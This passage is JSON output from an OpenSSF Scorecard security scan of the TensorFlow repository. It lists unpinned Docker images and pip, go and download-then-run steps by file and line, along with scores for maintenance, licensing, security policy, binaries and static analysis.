\u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:54-60","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:72-115","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows2022/Dockerfile:123-137","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:170-174","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:178-179","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows2022/Dockerfile:180","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:181-182","Info: Possibly incomplete results: error parsing shell code: \u0026\u003e must be followed by a word: tensorflow/compiler/mlir/tensorflow/tests/reducer/unsupported-op-test.sh:0","Info: Possibly incomplete results: error parsing shell code: invalid var name: tensorflow/tools/ci_build/builds/test_user_ops.sh:0","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows/Dockerfile:15: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2019 to mcr.microsoft.com/windows/servercore:ltsc2019@sha256:0f967dbb28a1637e6fb8d6a552a3cca69121ccef4e0c6631f8231097016ec9f8","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows2022/Dockerfile:11: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2022 to mcr.microsoft.com/windows/servercore:ltsc2022@sha256:d9e1a220c13cf25c7b213fbd96df2b63671e2dba0de3909003d4bb23a8bc8a1c","Warn: containerImage not pinned by hash: ci/official/containers/ml_build/Dockerfile:3","Warn: containerImage not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:16","Warn: containerImage not pinned by hash: tensorflow/lite/tools/tflite-android.Dockerfile:1: pin your Docker image by updating tensorflow/build:latest-python3.11 to tensorflow/build:latest-python3.11@sha256:15ce4d4aff708dba7720752587026d15c563c9078269c932abcfb50e9fd68f6c","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.android:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:15: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu-py36:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.arm64:1: pin your Docker image by updating linaro/tensorflow-arm64-build:2.17-multipython to linaro/tensorflow-arm64-build:2.17-multipython@sha256:71d97e638fc3059a38a94cd0af2935da0cce288ecec9a8bbebafe2fb150cd664","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.ppc64le:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cuda-clang:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:34: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:1: pin your Docker image by updating debian:bullseye-20221219 to debian:bullseye-20221219@sha256:c66c0e5dc607baefefda1d9e64a3b3a317e4189c540c8eac0c1a06186fe353a1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu.ppc64le:1: pin your Docker image by updating nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04 to nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04@sha256:2f11acbd03c1f316f8bece8e850a8ebdc8cbaa262a4afd95c608e51062c0b344","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu18.04-manylinux2010:10","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu20.04-manylinux2014:13","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:4: pin your Docker image by updating python:3.12.0a3-slim-bullseye to python:3.12.0a3-slim-bullseye@sha256:af6510dd0c93066231f4f5f0d6b399a47cf5f91c26c6797f5e145fab01d94316","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.pi:1: pin your Docker image by updating ubuntu:14.04 to ubuntu:14.04@sha256:64483f3496c1373bfd55348e88694d1c4d0c9b660dee6bfef5e12f43b9933b30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cpu:6: pin your Docker image by updating launcher.gcr.io/google/rbe-ubuntu16-04:r327695 to launcher.gcr.io/google/rbe-ubuntu16-04:r327695@sha256:b940d4f08ea79ce9a07220754052da2ac4a4316e035d8799769cea3c24d10c66","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.2-cudnn7-ubuntu18.04-manylinux2010-multipython:11: pin your Docker image by updating gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010 to gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010@sha256:6a5d4699391340f889c645e9f922c0dee980f426cc5ffd92fe4cc19e288a0a33","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:38","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:14","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:41","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu18.04-manylinux2010-multipython:10: pin your Docker image by updating ubuntu:18.04 to ubuntu:18.04@sha256:152dc042452c496007f07ca9127571cb9c29697f42acbfad72324b2bb2e43c98","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu20.04-manylinux2014-multipython:10: pin your Docker image by updating ubuntu:20.04 to ubuntu:20.04@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:40: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rocm:3: pin your Docker image by updating ubuntu:focal to ubuntu:focal@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/linux/mkl/Dockerfile.devel-mkl:4","Warn: pipCommand not pinned by hash: ci/devinfra/docker/windows/Dockerfile:104-105","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:55","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:56","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:26","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:27","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:30","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:24","Warn: downloadThenRun not pinned by hash: tensorflow/tools/tf_sig_build_dockerfiles/Dockerfile:45","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build/setup.python.sh:67","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build_arm64/setup.python.sh:96","Warn: pipCommand not pinned by hash: ci/official/utilities/setup_macos.sh:121","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:19","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/docker_cpu_pip.sh:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:764","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:765","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:19","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:43","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:47","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:55","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:58","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:61","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:64","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:68","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:73","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:77","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:81","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:87","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:91","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:95","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:97","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:103","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:105","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pi_python3.9_toolchain.sh:25","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:33","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:38","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:42","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:48","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:54","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:63","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:65","Warn: pipCommand not pinned by hash: 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privilege.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#token-permissions"}},{"name":"Maintained","score":10,"reason":"30 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#packaging"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#security-policy"}},{"name":"CII-Best-Practices","score":5,"reason":"badge detected: Passing","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#signed-releases"}},{"name":"Binary-Artifacts","score":8,"reason":"binaries present in source code","details":["Warn: binary detected: tensorflow/lite/java/demo/gradle/wrapper/gradle-wrapper.jar:1","Warn: binary detected: tensorflow/lite/java/ovic/demo/gradle/wrapper/gradle-wrapper.jar:1"],"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#binary-artifacts"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 27 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#sast"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#branch-protection"}},{"name":"Pinned-Dependencies","score":1,"reason":"dependency not pinned by hash detected -- score normalized to 1","details":["Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:32-34","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:37","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:55-60","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:63-69","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:83-100","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:107-121","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:153-157","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:160-161","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows/Dockerfile:162","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows/Dockerfile:163-164","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:24-26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:29","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:46-51","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:54-60","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:72-115","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows2022/Dockerfile:123-137","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:170-174","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:178-179","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows2022/Dockerfile:180","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:181-182","Info: Possibly incomplete results: error parsing shell code: \u0026\u003e must be followed by a word: tensorflow/compiler/mlir/tensorflow/tests/reducer/unsupported-op-test.sh:0","Info: Possibly incomplete results: error parsing shell code: invalid var name: tensorflow/tools/ci_build/builds/test_user_ops.sh:0","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows/Dockerfile:15: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2019 to mcr.microsoft.com/windows/servercore:ltsc2019@sha256:0f967dbb28a1637e6fb8d6a552a3cca69121ccef4e0c6631f8231097016ec9f8","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows2022/Dockerfile:11: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2022 to mcr.microsoft.com/windows/servercore:ltsc2022@sha256:d9e1a220c13cf25c7b213fbd96df2b63671e2dba0de3909003d4bb23a8bc8a1c","Warn: containerImage not pinned by hash: ci/official/containers/ml_build/Dockerfile:3","Warn: containerImage not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:16","Warn: containerImage not pinned by hash: tensorflow/lite/tools/tflite-android.Dockerfile:1: pin your Docker image by updating tensorflow/build:latest-python3.11 to tensorflow/build:latest-python3.11@sha256:15ce4d4aff708dba7720752587026d15c563c9078269c932abcfb50e9fd68f6c","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.android:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:15: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu-py36:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.arm64:1: pin your Docker image by updating linaro/tensorflow-arm64-build:2.17-multipython to linaro/tensorflow-arm64-build:2.17-multipython@sha256:71d97e638fc3059a38a94cd0af2935da0cce288ecec9a8bbebafe2fb150cd664","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.ppc64le:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cuda-clang:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:34: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:1: pin your Docker image by updating debian:bullseye-20221219 to debian:bullseye-20221219@sha256:c66c0e5dc607baefefda1d9e64a3b3a317e4189c540c8eac0c1a06186fe353a1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu.ppc64le:1: pin your Docker image by updating nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04 to nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04@sha256:2f11acbd03c1f316f8bece8e850a8ebdc8cbaa262a4afd95c608e51062c0b344","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu18.04-manylinux2010:10","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu20.04-manylinux2014:13","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:4: pin your Docker image by updating python:3.12.0a3-slim-bullseye to python:3.12.0a3-slim-bullseye@sha256:af6510dd0c93066231f4f5f0d6b399a47cf5f91c26c6797f5e145fab01d94316","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.pi:1: pin your Docker image by updating ubuntu:14.04 to ubuntu:14.04@sha256:64483f3496c1373bfd55348e88694d1c4d0c9b660dee6bfef5e12f43b9933b30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cpu:6: pin your Docker image by updating launcher.gcr.io/google/rbe-ubuntu16-04:r327695 to launcher.gcr.io/google/rbe-ubuntu16-04:r327695@sha256:b940d4f08ea79ce9a07220754052da2ac4a4316e035d8799769cea3c24d10c66","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.2-cudnn7-ubuntu18.04-manylinux2010-multipython:11: pin your Docker image by updating gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010 to gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010@sha256:6a5d4699391340f889c645e9f922c0dee980f426cc5ffd92fe4cc19e288a0a33","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:38","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:14","Warn: 